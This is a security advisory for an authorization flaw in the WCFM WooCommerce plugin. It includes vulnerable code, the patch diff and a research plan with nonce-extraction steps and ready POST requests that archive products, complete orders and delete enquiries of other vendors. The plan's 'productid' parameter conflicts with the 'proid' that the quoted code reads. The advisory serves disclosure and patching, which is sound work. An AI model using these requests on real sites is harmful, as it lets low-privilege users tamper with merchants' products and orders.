WCFM – Frontend Manager for WooCommerce <= 6.7.27 - Authenticated (Subscriber+) Missing Authorization to Arbitrary Vendor Data Manipulation via Multiple AJAX Handlers
Description
The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.27 via the wcfm_product_archive due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to archive arbitrary vendors' products, toggle the featured status on arbitrary listings, mark arbitrary WooCommerce orders as completed, and permanently delete arbitrary enquiries and bulk messages belonging to other vendors.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=6.7.27What Changed in the Fix
Changes introduced in v6.7.28
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-10041 - WCFM Insecure Direct Object Reference (IDOR) ## 1. Vulnerability Summary The **WCFM – Frontend Manager for WooCommerce** plugin (<= 6.7.27) contains multiple Insecure Direct Object Reference (IDOR) vulnerabilities in its AJAX handlers. Specifically, f…
Show full research plan
Vulnerability Research Plan: CVE-2026-10041 - WCFM Insecure Direct Object Reference (IDOR)
1. Vulnerability Summary
The WCFM – Frontend Manager for WooCommerce plugin (<= 6.7.27) contains multiple Insecure Direct Object Reference (IDOR) vulnerabilities in its AJAX handlers. Specifically, functions registered for authenticated users (including Subscriber-level accounts) perform sensitive actions on vendor data (Products, Orders, Enquiries, Messages) without verifying if the requesting user has the authority to modify that specific object.
The vulnerability exists because the handlers check for a valid WordPress nonce (wcfm_ajax_nonce) and user authentication but fail to implement capability checks or ownership validation against the provided object IDs.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Authentication: Authenticated (Subscriber+)
- Vulnerable AJAX Actions:
wcfm_product_archive: Archives arbitrary products.wcfm_listing_featured: Toggles featured status on listings.wcfm_order_mark_complete: Marks arbitrary WooCommerce orders as completed.delete_wcfm_enquiry: Permanently deletes vendor enquiries.wcfm_messages_bulk_mark_delete: Deletes bulk messages.
- Payload Parameter: Variable based on action (e.g.,
productid,orderid,enquiryid). - Nonce: Required (
wcfm_ajax_nonce).
3. Code Flow
- Entry Point: The user sends a request to
admin-ajax.phpwith a specificaction(e.g.,wcfm_product_archive). - Hook Registration: In
core/class-wcfm-ajax.php, the plugin registers these actions:add_action('wp_ajax_wcfm_product_archive', array(&$this, 'wcfm_product_archive')); add_action('wp_ajax_wcfm_order_mark_complete', array(&$this, 'wcfm_order_mark_complete')); - Nonce Verification: The handler typically calls
check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce'). - Missing Authorization (The Sink): The handler retrieves the ID from
$_POST(e.g.,$_POST['productid']) and immediately performs the database or metadata operation without callingcurrent_user_can('edit_post', $id)or verifying that the ID belongs to the current user.
4. Nonce Acquisition Strategy
The wcfm_ajax_nonce is used globally for WCFM AJAX interactions. It is localized into the JavaScript variable wcfm_params.
- Shortcode Page Creation: Create a page containing a WCFM dashboard shortcode to ensure all scripts are enqueued.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[wcfm_endpoint]'
- Command:
- Extraction:
- Navigate to the page as the Subscriber user.
- Use
browser_evalto extract the nonce. - JS Variable:
window.wcfm_params?.wcfm_ajax_nonce
5. Exploitation Strategy
Target 1: Archive Arbitrary Product
- Action:
wcfm_product_archive - HTTP Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=wcfm_product_archive&productid=[VICTIM_PRODUCT_ID]&wcfm_ajax_nonce=[NONCE] - Content-Type:
application/x-www-form-urlencoded
- URL:
Target 2: Mark Arbitrary Order as Complete
- Action:
wcfm_order_mark_complete - HTTP Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=wcfm_order_mark_complete&orderid=[VICTIM_ORDER_ID]&wcfm_ajax_nonce=[NONCE]
- URL:
Target 3: Delete Enquiry
- Action:
delete_wcfm_enquiry - HTTP Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=delete_wcfm_enquiry&enquiryid=[VICTIM_ENQUIRY_ID]&wcfm_ajax_nonce=[NONCE]
- URL:
6. Test Data Setup
- Victim (Vendor):
- User:
vendor_userwith rolewcfm_vendor. - Content: A published WooCommerce product (ID
X). - Order: A WooCommerce order (ID
Y) associated with productX. - Enquiry: Insert a record into
{$wpdb->prefix}wcfm_enquiries(IDZ) manually or via the product's enquiry form.
- User:
- Attacker (Subscriber):
- User:
attacker_subwith rolesubscriber.
- User:
- Page:
- Create a page with
[wcfm_endpoint]soattacker_subcan access the scripts and nonce.
- Create a page with
7. Expected Results
- Product Archive: The product
Xmetadata_wcfm_product_archivedis set toyes(or the post status changes depending on version implementation). - Order Completion: The WooCommerce order
Ystatus changes tocompleted. - Enquiry Deletion: The enquiry record
Zis removed from the database table. - HTTP Response: Usually returns a JSON success string (e.g.,
{"status": true, "message": "..."}).
8. Verification Steps
- Archive Verification:
wp post meta get [ID] _wcfm_product_archivedshould returnyes. - Order Verification:
wp wc order get [ID] --field=statusshould returncompleted. - Enquiry Verification:
wp db query "SELECT * FROM wp_wcfm_enquiries WHERE ID = [ID]"should return no results.
9. Alternative Approaches
If the Subscriber role is strictly prohibited from accessing the page containing the shortcode (rendering the nonce inaccessible), check for the wcfm_ajax_nonce on other frontend pages. The WCFM plugin often enqueues core scripts on the Shop page or Single Product pages to support "Enquiry" features. Search for wcfm_params in the source of a Single Product page.
Summary
The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to multiple Insecure Direct Object Reference (IDOR) flaws in its AJAX handlers up to version 6.7.27. Authenticated attackers with subscriber-level access and above can manipulate arbitrary vendor data—such as archiving products, toggling featured listings, marking orders as completed, and deleting enquiries—by providing target IDs without sufficient authorization checks.
Vulnerable Code
// core/class-wcfm-ajax.php (approx. line 758 in 6.7.27) public function wcfm_product_archive() { global $WCFM, $wpdb; if (isset($_POST['proid']) && !empty($_POST['proid'])) { $product_id = absint($_POST['proid']); do_action('wcfm_before_product_archived', $product_id); $update_product = apply_filters('wcfm_product_content_before_update', array( 'ID' => $product_id, 'post_status' => 'archived', ), $product_id); wp_update_post($update_product); update_post_meta($product_id, '_wcfm_product_archived', 'yes'); do_action('wcfm_after_product_archived', $product_id); echo '{"status": true, "message": "' . esc_html__('Product successfully archived.', 'wc-frontend-manager') . '"}'; } die; } --- // core/class-wcfm-ajax.php (approx. line 822 in 6.7.27) public function wcfm_order_mark_complete() { global $WCFM, $wpdb; $order_id = absint($_POST['orderid']); do_action('before_wcfm_order_status_update', $order_id, 'wc-completed'); if (wc_is_order_status('wc-completed') && $order_id) { $order = wc_get_order($order_id); $order->update_status('completed'); do_action('wcfm_order_status_updated', $order_id, 'completed'); echo '{"status": true, "message": "' . esc_html__('Order status updated successfully.', 'wc-frontend-manager') . '"}'; } die; }
Security Fix
@@ -758,6 +758,14 @@ if (isset($_POST['proid']) && !empty($_POST['proid'])) { $product_id = absint($_POST['proid']); + + // IDOR guard: only the product's owner (vendor/staff), a managing manager, or an admin may archive it. + $resource_owner_id = get_post_field('post_author', $product_id); + if (!wcfm_user_can_perform_request($resource_owner_id, 'product_archive')) { + wp_send_json_error(esc_html__('You don’t have permission to do this.', 'woocommerce')); + wp_die(); + } + do_action('wcfm_before_product_archived', $product_id); $update_product = apply_filters('wcfm_product_content_before_update', array( 'ID' => $product_id, @@ -791,6 +799,14 @@ if (isset($_POST['listid']) && !empty($_POST['listid'])) { $listing_id = absint($_POST['listid']); + + // IDOR guard: only the listing's owner (vendor/staff), a managing manager, or an admin may toggle featured. + $resource_owner_id = get_post_field('post_author', $listing_id); + if (!wcfm_user_can_perform_request($resource_owner_id, 'listing_featured')) { + wp_send_json_error(esc_html__('You don’t have permission to do this.', 'woocommerce')); + wp_die(); + } + $is_featured = wc_clean($_POST['featured']); if ($is_featured == 'featured') { @@ -822,6 +838,12 @@ $order_id = absint($_POST['orderid']); + // IDOR guard: an admin/manager may complete any order, but a vendor only an order that belongs to them. + $order = wc_get_order($order_id); + if (!is_a($order, 'WC_Order') || !$WCFM->wcfm_vendor_support->wcfm_is_order_for_vendor($order_id)) { + wp_send_json_error(__('Invalid Order', 'wc-frontend-manager')); + } + do_action('before_wcfm_order_status_update', $order_id, 'wc-completed'); if (wc_is_order_status('wc-completed') && $order_id) {
Exploit Outline
The exploit requires authentication (Subscriber level or higher). An attacker first retrieves the valid 'wcfm_ajax_nonce' by visiting a page where the WCFM dashboard scripts are enqueued (e.g., a page with the [wcfm_endpoint] shortcode) and extracting it from the 'wcfm_params' JavaScript object. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to a vulnerable handler (e.g., 'wcfm_product_archive', 'wcfm_order_mark_complete', or 'delete_wcfm_enquiry'). By specifying the target object's ID (e.g., 'proid' or 'orderid') and including the valid nonce, the attacker can manipulate that object because the server-side code fails to verify if the requesting user has permissions over that specific resource.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.